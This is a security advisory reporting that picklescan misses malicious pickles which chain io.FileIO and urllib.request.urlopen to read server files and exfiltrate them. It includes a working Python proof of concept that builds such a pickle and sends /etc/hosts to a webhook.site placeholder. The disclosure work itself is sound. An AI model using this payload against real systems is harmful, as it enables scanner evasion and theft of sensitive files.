PYSEC-2026-1787

picklescan has Arbitrary file read using `io.FileIO`

### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) with open("bypass_http.pkl", "wb") as f: pickle.dump(Exfiltrate(), f) ``` <img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" /> ### Impact - Arbitrary file read Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.